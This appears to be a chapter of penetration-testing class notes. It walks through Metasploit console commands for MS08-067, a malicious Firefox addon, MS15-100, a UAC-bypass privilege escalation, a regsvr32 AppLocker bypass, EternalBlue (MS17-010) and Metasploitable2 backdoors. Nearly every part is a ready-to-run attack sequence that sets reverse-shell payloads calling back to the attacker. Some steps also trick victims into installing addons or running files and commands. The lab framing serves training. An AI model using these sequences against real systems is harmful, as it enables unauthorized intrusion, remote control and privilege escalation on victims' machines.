5. System Hacking

Understanding Metasploit Framework

Step 1: Starting Metasploit Framework

To start metasploit framework you need to click on the metasploit framework icon by going to
Applications==>Exploitation Tools==>Metasploit Framework

Step 2: Selection of Main Module

After you are in msf> you need to select your module. It can be exploit or auxiliary depending on requirement. For that you need to enter the command in following syntax

use <location of module>

For example:

use exploit/windows/smb/ms08_067_netapi

Step 3 : Setting up Payload (Not required for auxiliary modules)

For every exploits, payloads will be required. If you don't set it then it will go with default one. For setting up you need to enter command in following syntax

set PAYLOAD <location of payload>

For example:

set PAYLOAD windows/meterpreter/reverse_tcp

Note: To get all compatible payloads list you can enter following ways

show payloads
set PAYLOAD <tab> <tab>

Step 4: Setting up Options (Configuration)

For configuration, you need to understand the required options for that you can enter commands

show options

To set the options you need to enter command in following syntax

set <option name> <value>

For example:

set RHOST 192.168.0.105
set LHOST 192.168.0.99

Step 5: Exploitation

On successful configuration, you can enter last command that is

exploit or run

Note: It's always recommended to have a verification before launching exploit command and for that you can enter show options command.

Practical 1: MS08-067 exploit for Windows XP/2003

1. Start Metasploit Framework.
2. In msf> enter command:
search ms08-067
3. To select the exploit, enter command:
use exploit/windows/smb/ms08_067_netapi
4. Set the Payload
set PAYLOAD windows/meterpreter/reverse_tcp
5. Set all required options
show options (To see available options)
set RHOST <target IP>
set LHOST <Your Kali IP>
6. exploit

After launching exploit command, if it works then you should get a meterpreter console. There you can start entering all meterpreter specific commands.

Practical 2: Mozilla Firefox Universal exploit

1. Start Metasploit Framework.
2. In msf> enter command:
search firefox_xpi
3. To select the exploit, enter command:
use exploit/multi/browser/firefox_xpi_bootstrapped_addon
4. Set the Payload
set PAYLOAD generic/shell_reverse_tcp
5. Set all required options
show options (To see available options)
set ADDONNAME <Some convincing name>
set SRVHOST <Your Kali IP>
set SRVPORT 80
set URIPATH /
set LHOST <Your Kali IP>
6. exploit

On launching exploit command, you should get server started on screen. After that you need to go to your victim's system and in Firefox browser enter Kali Linux IP to download and install the addon. After successful installation in victim's system, return back in Kali Linux. You should see Command Shell Session 1 opened like message on screen

enter command:
sessions -l (For getting all active sessions list)

sessions -i <ID> (To start interacting with your victim)

For example:
sessions -i 1

Once you get

Starting interaction with 1

You can enter some OS commands depending on target platform.

For linux you can enter

uname -a
lsb_release -a

Practical 3: Microsoft Media Center MS15-100 Exploit

1. Start Metasploit Framework.
2. In msf> enter command:
search ms15-100
3. To select the exploit, enter command:
use exploit/windows/fileformat/ms15_100_mcl_exe
4. Set the Payload
set PAYLOAD windows/meterpreter/reverse_tcp
5. Set all required options
show options (To see available options)
set FILENAME <Some convincing name.mcl>
set FILE_NAME <Some name.exe>
set SRVHOST <Your Kali IP>
set LHOST <Your Kali IP>
6. exploit

After exploit command, you should see your file got created in your metsaploit directory in /root/. You need to share that file with the victim and once the victim runs the file, you get the meterpreter connection on your Kali Linux.

Note: On victim's system, media center should be enabled.

Privilege escalation exploit code for Windows 7

For launching privilege escalation exploit code, you should first have a valid meterpreter session running in the background. You can enter background command in meterepreter to put it in background.

1. In msf> search bypassuac
2. To select the exploit, enter command:
use exploit/windows/local/bypassuac
3. Set the Payload
set PAYLOAD windows/meterpreter/reverse_tcp
4. Set all required options
set SESSION <session ID of meterpreter in background>
set LHOST <Your Kali IP>
set LPORT <Any other port> (Example 5555)
5. exploit

After you enter exploit command, if it works then you should get a meterpreter session open and it will have complete privileges.

Practical 4: Powershell script exploit for Microsoft Windows

1. Start Metasploit Framework.
2. In msf> enter command:
search web_delivery
3. To select the exploit, enter command:
use exploit/windows/misc/regsvr32_applocker_bypass_server
4. Set the Payload
set PAYLOAD windows/meterpreter/reverse_tcp
5. Set all required options
show options (To see available options)
set SRVHOST <Your Kali IP>
set URIPATH /
set LHOST <Your Kali IP>
6. exploit

Once you run the exploit command, it should show you a command on screen. That command needs to be entered from the victim's cmd. Once victim enters the command, you should get the meterpreter session on your Kali Linux.

Note: This exploit works even on Microsoft Windows 10 latest version (Build 15063).

Practical 5: Eternalblue exploit for Windows AKA wannacry (MS17-010)

Initial Setup required:

1. You will need the exploit and the auxuliary scanner files provided in class. You need folder with exact name "Eternalblue-Doublepulsar-Metasploit" that needs to be in /root/ location.
2. From that folder copy the file "eternalblue_doublepulsar.rb" to /usr/share/metasploit-framework/modules/exploits/widows/smb
then copy "smb_ms_17_010.rb" to /usr/share/metasploit-framework/modules/auxiliary/scanner/smb
3. Make sure you have wine and wine32 packages installed. If not enter command:
apt-get install wine wine32
4. Then in terminal enter the command:
mkdir -p /root/.wine/drive_c

Scanning the target systems for MS17-010 Vulnerability

1. Start Metasploit Framework.
2. In msf> enter command:
search ms17-010
3. To select the auxiliary, enter command:
use auxiliary/scanner/smb/smb_ms_17_010
4. Set all required options
show options (To see available options)
set RHOSTS <target IP>
5. exploit

Exploiting windows 7 using Eternalblue exploit

1. Start Metasploit Framework.
2. In msf> enter command:
search eternalblue
3. To select the exploit, enter command:
use exploit/windows/smb/eternalblue_doublepulsar
4. Set the Payload
set PAYLOAD windows/meterpreter/reverse_tcp
5 Set all required options
show options (To see available options)
set PROCESSINJECT explorer.exe
set RHOST <target IP>
set LHOST <Your Kali IP>
set target 9
6. exploit

Note: For Windows 7, set target as 9 to get all list you can enter command:
show targets
If target is 64 Bit the use following
set PROCESSINJECT lsass.exe
set TARGETARCHITECTURE x64

Practical 6: Metasploitable2 VM pentest challenge

In the lab, the metasploitable penetration testing challenge would be given. Here will be the list of some of the exploits which are going to work on that.

Vsftpd 2.3.4 backdoor

In msf> enter command:
search vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOST <target IP>
exploit

Samba 3.0.20 exploit

In msf> enter command:
search usermap_script
use exploit/multi/samba/usermap_script
set RHOST <target IP>
exploit

Java RMI Server exploit

In msf> enter command:
search java_rmi
use exploit/multi/misc/java_rmi_server
set RHOST <target IP>
exploit

UnrealIRCD backdoor

In msf> enter command:
search unrealircd
use exploit/unix/irc/unreal_ircd_3281_backdoor
set RHOST <target IP>
exploit